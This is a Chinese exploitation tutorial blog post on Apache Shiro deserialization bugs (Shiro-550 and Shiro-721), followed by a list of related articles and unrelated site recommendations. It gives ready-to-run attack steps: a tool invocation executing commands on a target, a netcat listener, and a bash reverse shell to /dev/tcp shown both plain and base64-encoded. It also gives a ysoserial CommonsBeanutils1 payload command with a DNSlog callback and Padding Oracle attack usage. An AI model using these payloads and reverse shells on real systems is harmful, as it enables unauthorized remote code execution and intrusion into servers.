Shiro反序列化利用
Shiro反序列化利用
前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章。
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。影响版本
Apache Shiro < 1.2.4
特征判断
返回包中包含rememberMe=deleteMe字段。
利用工具
国外下载地址:https://github.com/teamssix/shiro-check-rce/releases/
example:
python3 shiro-check-rce.py -u http://192.168.232.129:8080/ -c "ping xxx.ceye.io" -t token
漏洞检测

反弹shell
注意:执行bash命令时需要对其进行编码
转码平台:http://www.jackson-t.ca/runtime-exec-payloads.html
设置监听:nc -lvvp 4444
原bash命令:bash -i >& /dev/tcp/192.168.232.129/4444 0>&1
转码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

Shiro Padding Oracle Attack(Shiro-721)
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
影响版本
Apache Shiro < 1.4.2版本
漏洞利用
登录Shiro网站,从cookie中获得rememberMe字段的值。
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 29-Oct-2020 06:21:41 GMT
Set-Cookie: rememberMe=nHseK2L1X/khQcAePZT+F1EoLqCfzOvuUEAjmFBqOeGVVnI81f17LPzjPTyIR0Dmho/vYGuFnyrC8qE7PuE+KQ0Ql/LEz/yizxH6jYkJpfLVpkVUDXGAQt1Nh4jB5JlTWUbPmla+4HGJGombOY4TwLdO/SY4T4YOx0689KKJn6qmwnn1BfrT4XjiSTXXTYluLnlaKHOVgLrtOQ6IPP159ydV3P7/gP+lihh+nbif1Mzt8WSksJgV9qb2yfa+9jpdRYO9VN9dM1V5TF3//mGWjDttfnQQeCJKRjXEC4BscUigEpq3rtGQrH4L1uFoNbJM+IjK+goeW3toJoGIeRJ0SMuMDTovOivMOklNyxng9uQs6tzesoVbVLL5maMJwXuKFVaGtGPPuWcMLyUCyaj01PWBd/YSi7ZkWGTNRV8O4FYvcyl72/Qvz5NHzbXk8FQaX+BdHHsWgoIHg5dyM3ErscF1LCYM8y48T7ApwsyHsdZuzQd5A+qHwkg79D/ZQqYd; Path=/; Max-Age=31536000; Expires=Sat, 30-Oct-2021 06:21:41 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Fri, 30 Oct 2020 06:21:41 GMT
Connection: close
利用DNSlog探测,通过ysoserial工具payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar http://192.168.232.129:8080/ CommonsBeanutils1 "ping l6szkn.dnslog.cn" > payload.class
使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。
github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
使用方法:
java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize class文件路径

爆破成功:

利用很麻烦,而且这样跑很容易把目标服务器跑出问题或者被ban IP,可以使用上面的工具进行利用比较靠谱。
参考
https://cloud.tencent.com/developer/article/1649614 :shiro漏洞检测RCE工具
https://www.cnblogs.com/xiaozi/p/13239046.html: Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
https://www.cnblogs.com/yuyan-sec/p/12458806.html: Shiro反序列化漏洞利用
结语
之后还会陆续更新Shiro的漏洞,时间待定。
Shiro反序列化利用的更多相关文章
- Shiro反序列化的检测与利用
1. 前言 Shiro 是 Apache 旗下的一个用于权限管理的开源框架,提供开箱即用的身份验证.授权.密码套件和会话管理等功能. 2. 环境搭建 环境搭建vulhub 3. 如何发现 第一种情况 ...
- 利用shiro反序列化注入冰蝎内存马
利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...
- 应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)
背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段 ...
- 一次关于shiro反序列化漏洞的思考
0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...
- Apache Shiro反序列化远程代码执行复现
最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享 0x00 关于Apache Shiro Apache shiro是一个Java安全框架,提供了认证.授权.加密和会话管 ...
- 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计
Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. Apache Shiro默认使用了CookieRe ...
- 记一次实战 Shiro反序列化内网上线
Shiro反序列化内网上线 说明:此贴仅分享用于各安全人员进行安全学习提供思路,或有合法授权的安全测试,请勿参考用于其他用途,如有,后果自负.感谢各位大佬的关注 目标:152.xxx.xxx.xxx目 ...
- Apache Shiro反序列化漏洞复现
Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...
- Shiro反序列化复现
Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...
随机推荐
- 2020.12.12【NOIP提高B组】模拟 总结
第一次来 B 组做,虚的很 T1: 容斥原理 比赛时也打了个大致,但挂了,只有 50 分. 赛后重构了一下代码,AC \(UPDATE:2020/12/13\ \ \ 14:10\) 思路: 像前缀和 ...
- 2分钟实现一个Vue实时直播系统
前言 我们在不敲代码的时候可能会去看游戏直播,那么是前台怎么实现的呢?下面我们来讲一下.第一步,购买云直播服务 首先,你必须去阿里云或者腾讯云注册一个直播服务.也花不了几个钱,练手的话,几十块钱就够了 ...
- WPF开发随笔收录-心电图曲线绘制
一.前言 项目中之前涉及到胎儿心率图曲线的绘制,最近项目中还需要添加心电曲线和血样曲线的绘制功能.今天就来分享一下心电曲线的绘制方式: 二.正文 1.胎儿心率曲线的绘制是通过DrawingVisual ...
- Flink1.13.1源码解析-Application on yarn(一)
本篇文章讲述 Flink Application On Yarn 提交模式下,从命令提交到 AM 容器创建 1.脚本入口 flink run-application -t yarn-applicati ...
- IDEA中Maven Project所在位置
难免有小伙伴找不着这个在哪. 一.首先就是可以在下面这个位置查询到: 二.如果找不着,那么在这里找: 三.如果还找不到,那就没有是你刚导入的项目没有Add Maven, 下面这个图是我Add Mav ...
- Banner自定义图案
Banner大全https://www.bootschool.net/ascii
- NC212914 牛牛与后缀表达式
NC212914 牛牛与后缀表达式 题目 题目描述 给定牛牛一个后缀表达式 \(s\) ,计算它的结果,例如,1+1对应的后缀表达式为1#1#+,'#'作为操作数的结束符号. 其中,表达式中只含有'+ ...
- 异构图神经网络笔记-Heterogeneous Graph Neural Network(KDD19)
自己讲论文做的异构图神经网络的ppt.再转变成博客有点麻烦,所以做成图片笔记. 论文链接:https://arxiv.org/abs/1903.07293
- 迭代器的实现原理和增强for循环
Iterator遍历集合--工作原理 在调用Iterator的next方法之前,迭代器的索引位于第一个元素之前,不指向任何元素,当第一次调用迭代器的next方法后,迭代器的索引会向后移动一位, 指向第 ...
- Educational Codeforces Round 132 (C,D) 题解 cf#1709
昨晚打了这把EDU,赛后看了dalao们的C题代码豁然开朗恍然大悟 实在是太巧妙了 这场来说,D题的通过率比C题高太多了(估计很多人都在C题卡了然后没做D 先放题目链接 题目链接 C - Recove ...